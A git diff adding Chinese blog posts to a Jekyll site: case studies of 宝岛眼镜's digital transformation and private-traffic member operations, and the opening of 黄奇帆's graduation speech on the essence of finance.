+整个MOC团队也有三四十人。总部MOC承担会员策划、渠道运营、互动运营、赋能运营、产品研发、数据挖掘等职能，他们策划出各种运营方案、挖掘可运营的数据结果、制作各种内容、基于企业微信平台开发各种数字工具后，会移交给大区MOC团队，由后者给自己大区内的导购和验光师进行赋能，使他们能够更好地与会员交互沟通，持续提供到店或到家服务。 + +比如，MOC了解到某地要举办活动，就会配置一些福利包，通过小程序等方式发布，当用户接触到相关触点时，福利包就会弹出来。 + +再比如，MOC会在会员月期间策划不同的活动，围绕会员月这一事件进行深度运营。 + +总之，正如王智民描述的，“MOC将成为宝岛眼镜私域流量运营的大脑”。 + +### 04 疫情帮了忙 + +宝岛眼镜的这场战略变革，对所有7000多名员工来说，无疑是一次“大动荡”，他们原有的思维、做法、习惯等都会面临很大的考验。在这种情况下，该怎么让这么多员工积极拥抱这场变革呢？ + +面对这个问题，王智民超级淡定：“**这个很简单，大原则就是只奖不罚。**”虽然宝岛眼镜也制定了KPI，例如拉新的指标、声量的指标、活动的指标，但是，这些都是只奖不罚。 + +然而，光有这些还是不够。在王智民看来，数字化思维是传统企业转型中最头疼、最致命的一个硬伤。为了让大家养成数字化思维，王智民还给了一个大致的思考框架。 + +**在启动任何项目的时候，首先想一下是卖产品还是卖服务，接着考虑怎么设计场景和路径，以及实现场景和路径所需的工具。**这些工具必须能够完成数字化闭环，如果不能做到，项目就不成立，因为做不到数字化闭环，就无法产生数据，也就无法进行迭代运营。 + +为了做私域流量运营，王智民走访和观察了不少零售企业。他觉得，就私域流量运营的方法论而言，大家的做法其实都差不多，关键的问题在于，企业的组织架构能不能匹配上。 + +在启动战略转型的2019年年底，宝岛眼镜四川大区的管理团队到总部参加年度会议。他们汇报说，四川大区已经按照公司要求调整了组织架构，设立了MCN和MOC团队，也切分了人员。 + +但是，他们现在很迷糊、很痛苦，因为新团队的人员原来都是做线下门店营运的，不知道怎么做公域流量运营和私域流量运营。他们问王智民该怎么办。“要命的是，当时我也不知道。”王智民坦言。 + +正当大家一片迷惑的时候，新冠疫情暴发。在之后的3个月里，宝岛眼镜的线下门店陷于停滞，整个公司被迫转战线上，将私域流量运营迅速推到了最前线。 + +经过3个月的“紧急上岗”，宝岛眼镜全员迅速掌握了很多私域流量运营的基本技能，并且无论是各平台的员工账号数量，还是会员数量，都增长特别快。 + +“现在回想起来，新冠疫情3个月使我们的整个转型过程至少缩短了3年。而且，2020年一整年下来，我们把2019年提出的五大路径基本打通了。”在王智民眼中，2020年绝对称得上“魔幻”。 + +### 05 深运营：数据化+智能化 + +到目前，宝岛眼镜全员已经设立了7000多个大众点评账号、800多个小红书账号、200多个知乎账号，以及约20个抖音账号。同时，宝岛眼镜微信公众号会员已有近600万，企业微信会员也达到400多万，会员社群超过1000个。 + +至此，宝岛眼镜已经初步具备了私域流量运营的能力。“但是，我们要做得更好的话，就要开始进入数据化运营和智能化服务。”王智民透露。 + +在透过企业微信跟会员进行互动沟通的过程中，导购和验光师会把会员的信息记录下来，并给会员打上标签，存储在CRM统里面。但是，现在的挑战在于，那些标签太碎片化，很不好用，所以必须把碎片化标签转变成可用的标签包。 + +为此，MOC团队正在接触大量AI算法公司和数据挖掘公司，请它们帮助清理数据和标签。有了新的标签体系后，MOC会对用户进行分类，再通过数据挖掘，确定不同用户群体的精准需求，进而给他们提供个性化商品和服务。 + +“这就是我们2021年会启动的私域流量2.0。”王智民说。私域流量2.0的逻辑是以用户为中心的关系迭代，包括从潜客、粉丝、顾客，到熟客、大使这五个关系阶段，不同关系阶段的用户会有不同的需求。 + +宝岛眼镜的私域流量运营仍在探索中，但它已经踏出了坚实的第一步。 + +在跟外界分享时，王智民最想传递的是什么？ + +“所有企业高层一定要学习的一点是，怎么看懂中国的数字化基础建设，怎么用好数字化基础建设，让企业形成一种新的客户服务能力。能够做到这一点，就表示企业拥有了数字化思维，自然能够形成更好的护城河，要不然，还是照着一二十年前的方法做事，请问企业还能存活多久？” + diff --git a/_posts/2021-05-27-555-bdyj.md b/_posts/2021-05-27-555-bdyj.md new file mode 100644 index 0000000..f63a775 --- /dev/null +++ b/_posts/2021-05-27-555-bdyj.md @@ -0,0 +1,165 @@ +--- +layout: post +title: 宝岛眼镜的实战经验：从0到1，突破自我的数字化转型路径 +pid: 555 +tags: [数字化转型] + +--- + + + +随着经济的快速发展，国民收入和消费水平不断提高、近视人口增加、消费者保健意识增强。据人民日报，截至2019年中国近视患者人数多达6亿，近视人口的不断增加，催生了庞大的眼睛市场，据中商产业研究院《2020-2025年眼镜行业发展前景及投资机会分析报告》，预计2020年中国眼镜行业市场规划将进一步扩大，达到850亿元。 + +作为星创视界集团旗下的眼镜零售直营连锁品牌，宝岛眼镜自1972年成立于台湾，面对中国内地的巨大市场机会，1997年，在武汉开设了内地第一家宝岛眼镜店，此后经历了眼镜1.0-3.0的迭代，目前在大陆已经拥有1100多家门店，遍布200个城市，拥有1600多名认证验光师，会员总量超过3000万，是目前中国最大的眼镜零售直营连锁品牌。 + +眼镜行业准入门槛低导致行业集中度低，水平参差不齐，竞争激烈，除了实体店的竞争，还有来自互联网零售的冲击。从消费者的角度来看，存在着视光亚健康被忽视、眼视光人才严重匮乏、眼镜产品过分商品化等问题，从产业链的角度来看，存在着产品生产营销环节缺少大数据分析与预测，无法及时供应市场所需的产品；组织销售团队，人力、时间成本高，渠道开发和维护成本高，行业普遍铺货，库存量大；人流量减少，促销形式老旧，顾客进店率低；眼镜复购周期长，顾客忠诚度低；信息化程度低，对用户管理、市场局势的把握容易失控等问题。（来源：康莱目《2020年眼镜行业市场分析》） + +有机构预计，未来的趋势是验光和配眼镜分开，但是宝岛眼镜打破了这一猜测，将眼镜行业的医疗底层释放出来，在眼镜3.0时代打破了行业的边界，不再将宝岛眼镜定义为零售行业和时尚行业，而是希望通过AI技术重塑眼睛大健康乃至眼视光生态闭环，通过健康的延申来强化产业价值和核心竞争力。 + +基于对消费者的洞察，宝岛眼镜发现消费者深井化、泡泡化愈发严重，当下，商家有效触达消费者面临着两座大山，一个是低交互造成的“渣X体质”，一个是消费者泡泡化。为解决这些痛点问题，宝岛眼镜这样一家传统眼镜零售企业从0到1进行了巨大的变革，培养出大批大众点评、小红书、抖音等平台的“声量达人”，成功转型成为全员带货的私域流量运营教科书式经典案例。 + +**一、宝岛眼镜的最佳实践：扩大声量、私域流量运营** + +2020年，越来越多的传统企业开始进行数字化营销转型，通过新媒体平台进行内容营销，打造私域流量池，最终实现流量变现。自2019年起，宝岛眼镜沉淀了一套独有的方法论——“两大动作，五大路径”，打通公域到私域到私域运营的路径。 + +不同于纯靠电商平台砸流量的老路子，宝岛眼镜选择布兵新媒体，靠扩大声量来宣传品牌。2017年到2018年，互联网用户的数据有了很大的提升，因为快手抖音等短视频的兴起，消费者花在手机上的时间更长，而声量就要到消费者花费时间的地方来做，所以，结合眼镜行业特有的O2O模式，宝岛眼镜成立了MCN(Multi-Channel Network)部门，重新定义了8000个员工，将他们内化在不同的平台、不同的公域流量APP做达人，建立了约8000+大众点评账户的媒体矩阵，一边研究规则，一边创造内容，并将这套方法迁移到小红书、抖音、快手和微博等平台。针对各类平台，配备了专属团队学习平台运营规则，制定了详细的技能模型，针对性地帮助员工创作内容、打造人设，孵化出一个个KOC（Key Opinion Customer），在消费者进店之前将声量传递出去。 + +![img](https://jnexpert-oss1.oss-cn-beijing.aliyuncs.com/ueditor/php/upload/image/20201124/1606207313557641) + +MCN是一个专门培养和孵化达人，传授平台运营技能，使其持续在各个社交品牌发声从而拉新转换的机构。宝岛眼镜MCN部门分为两个组别，一个是图文类，一个是视频类，工作职责是不断的培养和孵化集团内部的员工在各个平台上发挥他们的才能或技能，为产品、技术设备做宣传和种草，使用户对产品产生兴趣，加入企业微信，成为私域流量，未来进行持续运营，其中最重要的是拉新的动作，通过达人的小视频、种草、科普、评价等，让用户对产品产生兴趣。 + +所以，MCN部门的职责主要分为两部分，一部分是孵化和培养达人，教会他们在各个平台上使用的技能；另一部分是拉新，告诉他们拉新的技巧，赋予他们一些工具和办法。宝岛眼镜将员工定义为自洽闭环商业体，通过数字赋能让每个员工都能做好私域流量运营，将广告预算的一半奖励给员工，让员工在各大声量平台做达人，从全员参与的大众点评不断延伸到小红书、知乎、抖音等平台。在MCN的运营过程中，首先，要寻找公域流量池，找到目标消费者，在其所对应的平台做自媒体的运营，宝岛眼镜的消费者画像被分为功能科技、品质科技、完美主义、入门品质、淡定族、国际奢华、时尚搭配、白富美、小仙女9大族群，分别对应着B站、知乎、抖音、豆瓣、大众点评、微博、今日头条、微信、小红书等平台。然后进行精细化的分类，包括全民制的大众点评、视频号；兴趣型的小红书，自愿报名或地区推荐外向型人才；精兵制的知乎，专业岗位推荐，自主自发的专业领域佼佼者；团队制的抖音、快手，属于团队作战。 + +目前，宝岛眼镜有8000个大众点评账号、800多个小红书账号、200多个知乎账号以及约20个抖音账号，从2019年到现在共输出约11000篇文章，不同平台的浏览量超过11000万，内容有着很长的长尾效应。宝岛眼镜的直播团队共800人，分为公域直播和私域直播，公益直播是指淘宝、抖音等的直播，私域直播是指在微信生态里拉群进行直播，在一次会员日开启的直播中，触达了约15万人。 + +宝岛眼镜从2019年全新启动大众点评这一平台，和员工的KPI制度挂钩，以此促使全员参与，大众点评是一个本地生活服务平台，整体的运作和要求没有那么高，并且自带闭环的功能。早期，宝岛眼镜并没有认清大众点评带来的意义是什么，后来发现消费者的时间都是花在平台上的，不仅可以把大众点评当作是一个销售闭环，更应该在上面做很多内容的展示，延伸出来做声量、吸粉、种草。王智民认为，对同一件事的认知迭代会改变企业的战略和战术。 + +小红书，本身是一个社区，整体是时尚的，受众人群大多是年轻女性，MCN部门将小红书的规则摸熟之后，整理成内部课件，利用两个月的时间培养出一批写手，在培训过程当中有讲课、有分享、有PK、有激励制度、有各种的福利来提升员工参与的积极度。目前已开设的四期，培养了600-700个达人。2020年小红书app平台数据实现了月活用户超1亿人、单日笔记曝光数超80亿次、小红书入住品牌超3万个。 + +知乎选拔人才的标准更加精准，因为需要一定工作时间的积累和专业知识的沉淀，才会有干货的输出，宝岛眼镜的知乎人才以验光师为主，不仅有集团认证，还有国家认证的证书，是行业内比较权威的一群人，目前已经有两百多人参与了知乎的培训，不仅有专业知识，还有美学基础以及社交能力。2020年知乎app平台数据实现了规模扩张，用户数达4.2亿+；认可递增，DAU达4500万+；流量覆盖，日均PV13亿+；黏性稳定，日均使用时长70分钟。 + +大众点评是全员在参与，但是知乎和小红书是兴趣制，和以后的薪资福利挂钩。之所以选择内部员工做达人，是因为外界的KOL在合作结束之后就没有后续了，而内部培养KOC的巨大好处，就是员工产品更熟悉、人设更垂直、交互更积极、引流更直接、预算更节省，内部员工有强烈的意愿去回复用户的信息，邀请用户加入企业微信，到门店购物。 + +MCN的出现为员工开放了一个技能的平台，员工可以在这些平台上面找到专属舞台，尽情的释放自己的能力。不仅可以在平台上发挥自己的优势，提升在企业的自身价值，还可以得到相应的福利。 + +基于MCN部门在公域发出声音扩大声量是第一步，下一步是针对转入私域流量池的人群开展运营。 + +2019年10月，宝岛眼镜重新建立了以会员运营为中心（MOC）的全新组织架构，彻底颠覆了从前的零售组织逻辑，不再设立传统意义上的资源控制中心或决策中心，而是调动所有部门资源来支持会员运营。MOC就像一个赋能中心，从技术、数据、工具、内容等各个方面赋能前线的门店和员工，消费者的时间在哪里，MOC就向哪里提供“弹药”。 + +私域流量变革的前提是人力模型的改变，在销售达人、专业达人的基础上叠加出声量达人、拉新闭环达人。人力模型也被称为自洽闭门商业体，未来的新型人力模型将需要强大的AI辅助工具。 + +![img](https://jnexpert-oss1.oss-cn-beijing.aliyuncs.com/ueditor/php/upload/image/20201124/1606207314139279) + +在2019年9月之前，宝岛眼镜早期的运营是由全国门店的导购运营把消费者引进到公众号，做微商城和营销活动，再导入到门店交易，过去五年共累计接近600万的会员沉淀在公众号，但是由于短视频、直播的崛起，公众号越来越难运营，无法做到双向的高效沟通，导致会员难以复购。所以，宝岛眼镜从2019年9月激活了MOC模式的框架，进入私域流量运营，MOC运营中心不再是管理中心，而是赋能中心，从技术、数据、工具、内容等各方面赋能前线的门店和员工。比如，MOC运营中心了解到某地要举办活动，就会配置一些福利包，通过小程序等方式触达到消费者，当触碰到消费者微信的时候，就会弹出福利包。 + +MOC运营中心基于腾讯生态开展私域流量运营，通过企业微信上的工具帮助宝岛眼镜实现和消费者的连接，基于工具进行二次开发，将一些定制化的工具承载在企业微信上，和客户进行更深层次、更高频次的交互。 + +MOC运营中心的工作主要围绕会员事件运营、分销商城运营、社群运营、产品研发、数据赋能、员工的客服展开。在会员运营的过程中有非常多的场景和玩儿法，比如，在会员事件运营中，宝岛眼镜在会员月期间策划不同的活动，包括社群的活动、直播的活动、线上商城的活动、门店线下的活动、老会员的活动、新会员的拉新活动等，围绕着一个事件来运营。在直播活动中，通过不同的达人、KOL、主播的分享，配合品牌上的资源，结合私域社群，进行全盘运营。类似的场景非常多，在不同的场景中，根据人群的特性配置相关的工具来和他们进行互动，以此实现会员持续增长、业绩增长的目标。 + +目前，宝岛眼镜拥有3200万可触达会员、600万沉淀在微信公众号、280万沉淀在企业微信。私域流量运营也取得了三大成果：1、到家业务，包括门店到家、人人店、星创优选，业绩飙升千万。2、社群，短短四个月的时间增加至千余个，总计覆盖人数十万余人。3、直播，包括天猫达人号、天猫旗舰店、天猫门店店，星创优选 2~7月累计直播场次及总观看人数众多。 + +未来，在私域流量2.0的建设过程中，认知的迭代至关重要，宝岛眼镜未来私域流量运营的目的是改变和消费者的关系。 + +现在很多品牌在思考品牌建设的问题。做品牌建设是为了什么？一个是让消费者认知品牌，一个是增加消费者粘性。在2020年的中国商业里，所有的品牌都会发现消费者是没有忠诚度的。 + +所以，企业要改变和客人的关系，可以分为几个不同的阶段，第一个阶段是冷关系，消费者是潜客；第二个阶段是有关系，消费者是粉丝；第三个阶段是交易关系，消费者是顾客；第四个阶段是热关系，消费者是熟客；第五个阶段是共好关系，消费者爱你的品牌，愿意在外面帮你做推广，变成你的品牌大使。 + +“最好的销售是改变身边人对品牌的印象，要设计一个游戏规则或者一整套的架构，让消费者在推广的过程中获得一点利益。”，王智民认为，未来企业就是要跟客人有持续的交互，针对潜客、粉丝、熟客不同状态的客人分别用不同的策略和场景进行运营。 + +这便是在眼镜3.0时代，宝岛眼镜探索出的实践路径，每个员工通过各种工具和内容，基于场景与顾客双向交流，从而使宝岛的私域流量得到了更加精细化的运营。那么，宝岛眼镜是如何一步步的迭代，取得今天的成功的呢？ + +**二、宝岛眼镜的变革历程** + +随着商业的不断发展，宝岛眼镜经历了商业1.0的传统店铺时代、商业2.0的平台电商时代、商业3.0的社交电商时代，随之而改变的是宝岛眼镜从眼镜1.0、眼镜2.0到眼镜3.0的快速迭代。 + +王智民认为，真正改变消费者的是互联网企业的数字化基础建设。从科技、消费者和商业三大维度来思考商业环境的变化，会发现中国的数字化基础建设影响了消费者的行为，消费者的行为模式带动了商业的变化。 + +在数字化基础建设中，移动互联网是一个重要转折点，2007年，苹果发布了第一个移动智能手机，2013年到2014年，中国仅用18个月的时间让移动支付的渗透率从15%上升到65%，移动互联网的蓬勃发展推动了微信、微博、支付宝等第一代移动互联网APP的产生。再到场景化科技、内容社交科技，2020年，阿里提出了犀牛平台，进入智能制造阶段，真正从ToC端到ToB端。 + +随着科技的发展，大量公域流量APP的产生，影响着消费者的行为模式，让商业也随之发生着变化，宝岛眼镜也从眼镜1.0阶段迭代到眼镜3.0阶段。 + +1997-2012年，眼镜1.0阶段以门店为王，跑马圈地，线下快速扩张，在线下布局多渠道战略，包括街铺店、百货店、大卖场、购物中心。 + +2012年-现在，眼镜2.0阶段是O2O-O+O的电商时代，宝岛眼镜自2010年启动电商项目；2011年成立至今的数字部，在天猫、京东、糯米、美团、大众点评等各大平台拓展O2O、O+O、OXO等多项业务，将线上顾客引导至线下零售门店；2012年成立电商部门，曾在2016年到2019年蝉联双11天猫旗舰店的眼睛类目销售额第一，2019年“双十一”电商天猫和京东眼镜类目的双料冠军。对于宝岛眼镜来说，双十一最大的目的是精细化运营，回归理性追求ROI（投资回报率），动态的调节不同互联网平台的游戏规则。 + +2013年的双十一大获全胜之后，王智民开始思考如果未来天猫持续将大量的流量聚拢在自己手中，那么，宝岛眼镜将如何应对？2014年，王智民提到O+O是常态，O×O才是未来，把商业世界分为四个维度，以“实物”与“服务”，“高认知”与“低认知”来做象限切割，在“低认知”维度下，无论是“实物”还是“服务”，通过私域流量运营去建立和消费者的双向沟通很重要。 + +基于此，宝岛眼镜从2015年启动了专业化和数字化的转型，进入眼镜3.0阶段，战略转型的核心从卖眼镜变成医疗服务的提供商，因为眼镜行业不仅是时尚行业和零售行业，其底层是医疗行业。从零售的角度来看，宝岛眼镜从以门店为中心的管理模式转变为以视光师为中心的赋能模式，整个数字化的建设都是围绕着专业视光师和消费者之间做交互。 + +宝岛眼镜的专业化体现在四个方面：专业的视光师、专业的服务产品（45分钟眼睛检查）、专业的商品（抗疲劳镜片等）、专业的设备。眼睛是一个神奇的器官，眼底是人体全身唯一能直接观察到血管和神经的地方，可以从眼睛中观察到是否有病变的情况，以及是否有糖尿病、动脉硬化、高血压等慢性疾病。目前，宝岛眼镜已经拥有1600+的专业验光师、多台智能型设备、散光+多焦点的专业产品，为消费者带来专业的体验。 + +2018年，进入到眼镜3.0+阶段，实现数字平台升级+AI化，推出了眼镜店的“新三件”：自动多功能综合检眼仪、数字裂隙灯、眼底照相机。不仅可以从眼球的表面三分钟萃取出2000多个数据，还可以从眼睛里快速拍出照片，放到后台的医疗AI系统，30秒左右就可以反馈回筛查数据。此外，还在微信生态中推出了视力护照，消费者关注公众号之后，视力检查的报告就会自动推送到消费者的个人微信中。 + +商业1.0-3.0的变化带动了消费者端和营销的变化，宝岛眼镜将品牌方与消费者的交互分为三个阶段，第一个阶段是传统的营销广告模式，第二个阶段是SEO、SEM的搜索模式，在这两个阶段品牌方和消费者之间没有做到双向的交互，属于低交互阶段。第三个阶段启动了以算法为中心的信息模式，进入信息喂养时代。 + +理论上来讲，互联网的信息是无限大的、无止境的、无穷尽的，但是在信息喂养的时代，消费者能够获得的信息反而变的泡泡化，消费者在泡泡里面，而泡泡的外面是信息的过滤，消费者在互联网上留下的任何痕迹都会被打上不同的标签，而这些标签就形成了一个过滤器，消费者只会看到他想看的东西，消费者泡泡化之后也会产生圈层群体，尤其在B站尤为明显，很多不同的小群体有着共同的属性，当消费者信息泡泡化之后，如何触达消费者成为品牌方面临的最大挑战。 + +正常情况下，很多企业会选择KOL来和消费者的泡泡群进行交互，当积累了足够的粉丝量之后，就可以将消费者群体累积在一个泡泡群体里，通过直播和消费者进行交互，但是这种交互程度是中性的，宝岛眼镜选择做垂直领域个人IP，通过私域流量的工具和消费者进行深层次的交互。 + +王智民认为，低交互造成的渣X体质、消费者泡泡化是品牌方触达消费者的两座大山，而克服两座大山的三个法宝是垂直领域个人IP、直播、短视频。 + +宝岛眼镜真正的大型变革是从2019年9月开始的，对组织架构进行了颠覆性的调整，基于两个动作，五大路径开展工作，第一个动作是公域转私域，将宝岛眼镜在公域获取的用户引导到私域，建立自己的会员流量池，第二个动作是会员粉丝运营，在自己的流量池内维护、运营好会员。五个路径分别是寻找公域流量池、扩大声量、创造触点/场景设计、公域转私域、会员粉丝运营。 + +在公域流量运营方面，设立MCN人才培育+内容部，在消费者进店之前将声量传递出去。早期，宝岛眼镜传递声量的方法是请明星代言人做活动，活动期间销售额大幅增长，但是活动结束之后却没有内化可以持续用的能力，经过一年多的反思，王智民决定取消市场部的所有预算，将声量内化成员工的能力。打造了新型人力模型，在销售达人、专业达人的基础上叠加出声量达人、拉新闭环达人，设立了MCN部门，重点培养垂直个人IP，打造个人的泡泡和标签，匹配相对应的消费者群体，有共同的语言可以沟通，更精巧的吸引消费者，扩大声量的背后是个人IP的支撑。 + +在私域流量运营方面，从以门店为中心切换到以人为中心的数字化搭建。宝岛眼镜很早就布局了CRM客户管理系统，累积客户的消费数据，随着数据源的增加，逐渐有了社交属性，可以从微博、微信、小红书、知乎、抖音等不同的社交软件触达客户。宝岛眼镜从2019年开始真正迈向私域流量运营，围绕着组织变革进行转型，设立MOC运营中心，以全国门店导购通过会员事件运营、分销商城运营、社群运营、产品研发、数据赋能、员工的客服等方面触达消费者，进行交互。 + +**三、宝岛眼镜变革背后的逻辑** + +以私域流量为主的运营会改变企业的商业逻辑，而商业逻辑的改变必然会牵扯到组织架构的变革，宝岛眼镜通过搭建以MOC为中心的组织架构，取得了阶段性的成果，让8000名员工可以在大众点评、小红书、快手、抖音等各大公域流量平台进行发声，触达用户产生交互。当然，这只是私域流量运营的其中一个重要条件，还有另外一个重要条件是员工能力的多维度提升，从2019年下半年开始，宝岛眼镜就开始打造新型人力模型，让每一个员工都能成为自洽闭环的商业体。 + +**1、组织变革** + +谈起新零售，更多的会提到“人货场”，宝岛眼镜内部对人的研究进行了深刻的反思和根本性的改变，将人分为两部分，一部分是消费者，另一部分是销售、导购、验光师等内部员工。 + + + +![img](https://jnexpert-oss1.oss-cn-beijing.aliyuncs.com/ueditor/php/upload/image/20201124/1606207314875635) + +![img](https://jnexpert-oss1.oss-cn-beijing.aliyuncs.com/ueditor/php/upload/image/20201124/1606207314586981) + +从眼镜1.0阶段到眼镜2.0阶段，宝岛眼镜的组织结构并没有大变，增设了电商部，管理框架的逻辑以门店为中心，管理产品和销售（流水、业绩），IT架构的建设以保障企业内部的资产和流转为主。眼镜3.0阶段，宝岛眼镜开始重视以员工为中心，将IT建设大规模迁移，以员工、验光师、销售等为核心来打造系统的架构。 + +![img](https://jnexpert-oss1.oss-cn-beijing.aliyuncs.com/ueditor/php/upload/image/20201124/1606207314498528) + +真正的组织架构变革是在眼镜3.0阶段，将战略重心转向私域流量运营。经历了三个阶段，第一个阶段是CIC（Customer Interactive Center，客户交互中心），从互联网、微信、微博等各个方向收集数据，包括社交倾听的架构。第二个阶段是MIC（Member’sInteractive Center，会员交互中心），2018年，随着生态工具的日趋完整，将CIC升级为MIC，但是组织架构没有变化，所以运营过程比较艰难。第三个阶段是MOC（Member’sOperation Center，会员运营中心），2019年，走向以会员运营为中心，搭建MOC的全新组织框架。 + +眼镜3.0的组织架构改变了以往自上而下的管理架构，不再是以门店运营为核心的管理体系，而是让会员运营中心成为最核心的部门，其他所有部门与其协同发展。 + +从传统的组织架构到运营新生的MOC，转型的过程没有那么顺利。王智民认为，企业在做组织变革的时候，第一个最大的阻力和挑战一定是老板，第二个最大的阻力是CIO，宝岛眼镜在2005年开始做转型的时候，投反对票最多的是IT部门。因为传统IT的逻辑是强控管、强流程、强KPI、强耦合、不怎么迭代，但是私域流量是在微信生态中部署的，而微信生态的工具是互联网的工具，互联网的工具和传统IT是颠倒的逻辑，快速上线和快速迭代是互联网的运营模型，所以，宝岛眼镜在2015年，进行了IT部门的变革，把IT切成两块，分为企业IT部门和消费者IT部门（MOC后面配置的开发者团队），建立一个中间层，让他们进行数据的传输。 + +**2、新型人力模型** + +宝岛眼镜一直在思考消费者运营的竞争是什么，王智民认为在商业1.0的零售商时代，线下的位置是最稀缺的资源；线上的时间是最稀缺的资源；而商业社会可以竞争的是社交关系，社交关系里的信任关系是最稀缺的资源。 + +![img](https://jnexpert-oss1.oss-cn-beijing.aliyuncs.com/ueditor/php/upload/image/20201124/1606207314493373) + +在此基础认知之下，宝岛眼镜做了人力技能的调整，将人力模型打造成四个模型，从最底层的销售达人，到专业达人，到声量达人，到拉新闭环达人，让每一个员工都能够发出声量，进行拉新，在专业的交互体验下完成销售，形成完整的闭环模型。 + +![img](https://jnexpert-oss1.oss-cn-beijing.aliyuncs.com/ueditor/php/upload/image/20201124/1606207314985833) + + + +人力模型的改变是宝岛眼镜真正进入私域流量运营的开始，私域流量运营不仅是引入私域流量运营的工具那么简单，更重要的是要拥有强大的运营能力，而运营能力需要做到组织变革，在宝岛眼镜私域流量的模型中，工具的功能只占30%。 + +“私域流量的核心是新型人力模型，宝岛眼镜发展到眼镜3.0阶段，最重要的是挖掘行业的医疗底层逻辑，重新搭建人力模型。”王智民表示，在做医疗服务的时候，要说服的东西很多，需要投资很多设备、人力、系统，提升人的专业素质。 + +**四、未来的确定性** + +未来零售业，离不开新型的人力模型以及MOC造成的组织变革，总体来看，要挑战未来世界可以看到的确定性，大概有5点： + +1、5G到来，基础建设的叠加与迭代。 + +2、AI智能化加强，消费者深井化、泡泡化变本加厉。 + +3、品牌方/企业越不懂科技，落后越快。 + +4、企业内部MCN化，培养员工成为垂直行业专家IP是趋势。 + +5、以不变应万变的法宝：个人IP、优质内容、场景设计、有温度的交互。 + +中国的企业未来在商业的认知上一定是领先全世界的，因为中国企业拥有全世界最牛的数字化基础建设，未来企业是能够看的懂数字化基础建设并高效的组合在一起，提高运营效率的企业。数字化基础建设是看不见的，但是却在深深的影响着中国消费者的行为，尤其是5G技术会产生更多的数字化基础建设，影响了消费者的行为，消费者的行为带动了商业模式的变化。 + +企业变革要想清楚三个维度：第一个是认知的半径；第二个是能力的半径；第三个是执行的半径。任何一个半径漏掉了，没有办法环环相扣，那么执行就会出现问题。比如抖音的出现，是因为其看到了大家对短视频的需求越来越大，基于此认知，配合专业的人才和专业的技术，快速经营成为一家伟大的企业。如果一家企业在做转型的时候，认知、能力、执行都不行，转型肯定会失败。 + +拥有数字化思维是转型的关键，要系统性的思考和观察问题，对互联网公司的平台规矩的不同认知和洞察，能够产生不同的竞争力。 diff --git a/_posts/2021-06-04-556-jrbz.md b/_posts/2021-06-04-556-jrbz.md new file mode 100644 index 0000000..074fb78 --- /dev/null +++ b/_posts/2021-06-04-556-jrbz.md @@ -0,0 +1,46 @@ +--- +layout: post +title: 金融的本质，归纳起来就是三句话 +pid: 556 +tags: [中国经济] + +--- + + +黄奇帆：老师们、同学们，受王江、张春同志的邀请，我有幸参加上海交通大学上海高级金融学院2018届毕业典礼。站在这个讲台上，看到同学们青春的面庞，一股蓬勃朝气扑面而来，让人倍感欣慰，又心生感慨。在你们即将告别校园、踏入社会之际，我想和大家分享一些关于金融的体悟和感受，希望能对大家的职业生涯有所助益。 + +小平同志对金融认知： + +同学们的专业都是金融学，我首先和大家分享一段28年前小平同志关于金融的重要论述。记得1991年2月18日，大年初四，小平同志到浦东视察。在听取时任上海市委书记朱镕基同志汇报时，老人家讲了一段振聋发聩的话：“金融很重要，是现代经济的核心，金融搞好了，一着棋活，全盘皆活。上海过去是金融中心，是货币自由兑换的地方，今后也要这样搞。中国在金融方面取得国际地位，首先要靠上海。这个要好多年以后，但是现在就要做起。”当时，我有幸在现场聆听，受到极大震撼。 + +小平同志这段精辟论述，以一名世纪伟人的思想伟力与远见卓识，道出了四层含义： + +一是说明了金融在国家经济中的核心地位； + +二是指出了推动经济改革和发展的方法，一着棋活，全盘皆活，要抓好金融这个关键环节； + +三是提出了中国金融改革开放未来的方向，中国人民币最终要走向自由兑换，深刻指出了形成国际金融中心的关键，是货币自由兑换； + +四是指出上海应该是中国的金融中心，希望上海为“中国在金融方面取得国际地位”作出贡献。 + +这段话，高瞻远瞩地提出了对我国经济建设至关重要的金融战略，指明了我国金融领域改革发展的方向和重点，其意义极为深远，犹如一粒思想的种子，在我的脑海里深深地扎下了根，成为后来我学习金融知识、处理金融事务的思想指引和动力源泉。按照小平同志的理论，中国的金融在世界真正有地位，就是中国的人民币能在世界上自由兑换的时候，这是金融强国实现的标志。现在又过去了二十多年，中国人民币逐渐国际化，跨境人民币的交易量越来越大，结算量也越来越大，越来越多的国家把中国人民币作为国际贸易的结算货币，也有一些国家把我们的货币作为储备货币之一，2015年，人民币加入了SDR。再过二三十年，当有一天人民币在资本项下也能够自由兑换的时候，当有一天人民币不仅成为贸易清算、结算货币，而且成为资本项下自由兑换的货币，成为各个国家的储备货币，成为世界各国货币中的一种锚货币的时候，小平老人家的目标就实现了。老人家说，这件事要很长时间，我相信十九大报告提出的2050年中国成为世界经济强国的时候，这个货币目标一定能实现。 + +金融的本质 + +社会在前进，时代在发展，但金融的重要地位始终未变，国家对金融的高度重视始终未变。去年召开的全国金融工作会议上，习近平总书记深刻指出，“金融是国家重要的核心竞争力，金融安全是国家安全的重要组成部分，金融制度是经济社会发展中重要的基础性制度”。明确提出了做好金融工作的四条重要原则，即：回归本源、优化结构、强化监管、市场导向。特别强调：“金融是实体经济的血脉，为实体经济服务是金融的天职，是金融的宗旨，也是防范金融风险的根本举措”，“防止发生系统性金融风险是金融工作的永恒主题”。 对金融的重要性，同学们都很熟悉，学了多年金融，想必也会有这样的感触：金融产品种类繁多，操作手法眼花缭乱，似乎让人摸不透。在金融创新层出不穷的时代，有这样的困惑不难理解。不过，我们看问题、想事情，要善于抓住本质、化繁为简，这样才能得心应手。 + +说到金融的本质，归纳起来，就是三句话： + +**第一句话，为有钱人理财，为缺钱人融资。**金融归根到底是中介服务，不管什么金融机构、金融产品，只有从这个原点出发，才能实现自身价值。银行，保险，证券都是如此。上市公司发行股票筹集资金，广大股民购买股票博取收益，即使自负盈亏、没有刚性兑付，也是为资金供需双方搭建通道。 + +**第二句话，信用、杠杆、风险。**信用是金融的立身之本，是金融的生命线。一旦有信用，就有透支，透支就是杠杆。一切金融创新的本质都是放大杠杆比，但杠杆比过高就会产生风险，甚至导致金融危机，而防范金融风险、解决金融危机就要“去杠杆”。金融的精髓就是把握好三者的“度”，设计一个信用可靠、风险较小、不容易坏账的杠杆比。 + +**第三句话，为实体经济服务。**这是所有金融工作的出发点和落脚点。实体经济是金融发展的“母体”，金融在现代经济中的核心地位，只能在服务实体经济的过程中体现出来。所谓“百业兴，则金融兴；百业稳，则金融稳”，讲的就是这个道理。 + 